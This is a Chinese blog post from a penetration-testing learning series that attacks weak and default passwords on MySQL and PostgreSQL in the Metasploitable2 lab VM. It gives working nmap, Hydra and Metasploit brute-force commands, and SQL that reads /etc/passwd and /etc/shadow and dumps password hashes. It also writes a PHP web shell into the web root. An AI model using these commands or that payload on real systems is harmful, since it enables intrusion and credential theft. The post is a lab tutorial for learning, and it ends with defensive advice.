iT邦幫忙

2026 iThome 鐵人賽

DAY 13
0

前幾篇我們利用的攻擊手法五花八門:後門、命令注入、反序列化、設定不當。今天回到最基本、卻也是最常見的問題——弱密碼。

在真實世界的滲透測試報告中,「弱密碼」和「預設密碼」出現的頻率遠高於任何花俏的漏洞。根據 Verizon 的年度資料外洩調查報告(DBIR),被竊取或弱化的憑證是資料外洩最主要的攻擊途徑之一。

Metasploitable2 上的 MySQL 和 PostgreSQL 都存在弱密碼甚至空密碼的問題。今天我們就來示範如何偵測和利用這些弱密碼,以及拿到資料庫存取權限後能做什麼。

MySQL實作開始進階偵查
https://ithelp.ithome.com.tw/upload/images/20260919/20183639fCiacDKwL0.png

# 取得 MySQL 版本和狀態資訊
nmap --script mysql-info -p 3306 <靶機IP>

# 列舉 MySQL 使用者(如果允許匿名查詢)
nmap --script mysql-enum -p 3306 <靶機IP>

# 檢查空密碼
nmap --script mysql-empty-password -p 3306 <靶機IP>

https://ithelp.ithome.com.tw/upload/images/20260919/20183639LHjFc7lYKv.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639vFmoXME6W7.png
PostgreSQL實作開始進階偵查

# 取得 PostgreSQL 資訊
# 方法一:直接試已知的預設帳密(最快,幾秒鐘)
psql -h <靶機IP> -U postgres -c "SELECT version();"
# 密碼輸入:postgres

# 方法二:Nmap 只取資訊,不暴力破解
nmap --script pgsql-brute --script-args userdb=users.txt,passdb=pass.txt -p 5432 <靶機IP>

https://ithelp.ithome.com.tw/upload/images/20260919/20183639kxRt0Rd7VI.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639A36S6VMDDA.png
MySQL直接連線

用另一個參數跳過 SSL
mysql -h 192.168.145.132 -u root --skip-ssl

https://ithelp.ithome.com.tw/upload/images/20260919/20183639EAuPHq82X7.png

-- 確認身份
SELECT user(), current_user();

-- 查看所有資料庫
SHOW DATABASES;

-- 查看所有使用者和密碼雜湊
SELECT user, host, password FROM mysql.user;

-- 查看使用者權限
SHOW GRANTS FOR 'root'@'%';

-- 查看 MySQL 版本
SELECT version();

-- 查看資料目錄位置
SHOW VARIABLES LIKE 'datadir';

-- 查看是否允許讀寫檔案
SHOW VARIABLES LIKE 'secure_file_priv';

-- 假設有一個叫 dvwa 的資料庫
USE dvwa;
SHOW TABLES;

-- 查看使用者資料表(如果存在)
SELECT * FROM users;

https://ithelp.ithome.com.tw/upload/images/20260919/20183639yDM0TqIn9M.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639RrHfvFeN9t.png
https://ithelp.ithome.com.tw/upload/images/20260919/2018363983i7h8b8tC.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639z4aC4R3Zaw.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639v9f0MoA0JA.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639X4s18dtBNl.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639SJJ3i6bLTI.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639jI2rz1BKsN.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639CWmEZXmwMy.png
從資料庫讀取系統檔案

-- 讀取 /etc/passwd(因為顯示很多沒有截圖)
SELECT LOAD_FILE('/etc/passwd');

-- 讀取 /etc/shadow(需要 MySQL 的執行身份有權限)
SELECT LOAD_FILE('/etc/shadow');

https://ithelp.ithome.com.tw/upload/images/20260919/20183639vhot6IEELW.png
透過 MySQL 寫入檔案

-- 寫入一個測試檔案
SELECT 'test' INTO OUTFILE '/tmp/mysql_test.txt';
如果 MySQL 跑的是 Web 伺服器的同一台機器,攻擊者甚至可以寫入 Web Shell:
-- 概念示範(寫入 PHP 一句話木馬到 Web 目錄)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php';

https://ithelp.ithome.com.tw/upload/images/20260919/20183639UVW4EyfAkU.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639BkWXIfZ4OK.png
PostgreSQL->Hydra 暴力破解(不過非常沒效率)

-- 寫入一個測試檔案
# 用內建字典檔嘗試
hydra -l postgres -P /usr/share/wordlists/rockyou.txt <靶機IP> postgres

# 如果只是測試常見密碼,用小字典就好
hydra -l postgres -P /usr/share/metasploit-framework/data/wordlists/
hydra -l postgres -p postgres 192.168.145.132 postgres

https://ithelp.ithome.com.tw/upload/images/20260919/20183639i5q07K6fzh.png
https://ithelp.ithome.com.tw/upload/images/20260919/201836394JM8xiiPu7.png
直接連線和PostgreSQL 資訊收集

知道密碼後直接連線:
psql -h 192.168.145.132 -U postgres
-- 確認身份
SELECT current_user;
SELECT session_user;

-- 查看版本
SELECT version();

-- 列出所有資料庫

SELECT datname FROM pg_database;

-- 列出所有使用者

SELECT usename, usesysid, usesuper FROM pg_user;

-- 建立暫存表
CREATE TABLE tmp_file(content text);

-- 把 /etc/passwd 的內容載入表中
COPY tmp_file FROM '/etc/passwd';

-- 讀取內容
SELECT * FROM tmp_file;

-- 清理
DROP TABLE tmp_file;

https://ithelp.ithome.com.tw/upload/images/20260919/20183639idAcQIpdLd.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639uz2DhjJE3U.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639gEkjqRp9Al.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639OXYze4Mnmr.png
https://ithelp.ithome.com.tw/upload/images/20260919/2018363975HGgE7hUP.png
https://ithelp.ithome.com.tw/upload/images/20260919/201836398rwnqg7ulE.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639rLDv1rrn62.png
https://ithelp.ithome.com.tw/upload/images/20260919/201836398AzIfCt21C.png
使用 Metasploit 進行自動化暴力破解
MySQL 暴力破解模組

msfconsole
msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(...) > show options
msf6 auxiliary(...) > set RHOSTS <靶機IP>
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set BLANK_PASSWORDS true
msf6 auxiliary(...) > run
  ❌ Metasploit mysql_login → 協定不相容(不影響結論)

https://ithelp.ithome.com.tw/upload/images/20260919/20183639mMFaV3B40F.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639vtul5SYYd6.png
PostgreSQL 暴力破解模組

msfconsole
msf6 > use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(...) > show options
msf6 auxiliary(...) > set RHOSTS <靶機IP>
msf6 auxiliary(...) > run

https://ithelp.ithome.com.tw/upload/images/20260919/20183639pqyChgAOcH.png
https://ithelp.ithome.com.tw/upload/images/20260919/20183639tB0vbF6wT7.png


小結

弱密碼攻擊可能是這個系列中技術含量最低的一篇,但這恰恰是它最重要的原因。在真實世界中:

弱密碼更常見:大部分資料外洩事件的起因不是高深的技術攻擊,而是弱密碼或預設密碼
資料庫是高價值目標:相比拿到一個 shell,拿到資料庫通常意味著能直接存取業務資料
資料庫可以是跳板:從資料庫讀寫檔案、執行指令,可以進一步滲透到作業系統層面
防禦很簡單:改一個密碼、跑一次 mysql_secure_installation,就能防住這整篇文章的攻擊

最諷刺的是,防禦最簡單的攻擊,往往是最常成功的攻擊。


上一篇
NFS 設定不當的資訊竊取與入侵
下一篇
Tomcat 後台弱密碼上傳 WebShell
系列文
打靶機 30 天:從 Metasploitable2 到 3 的滲透測試學習筆記 共 15 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言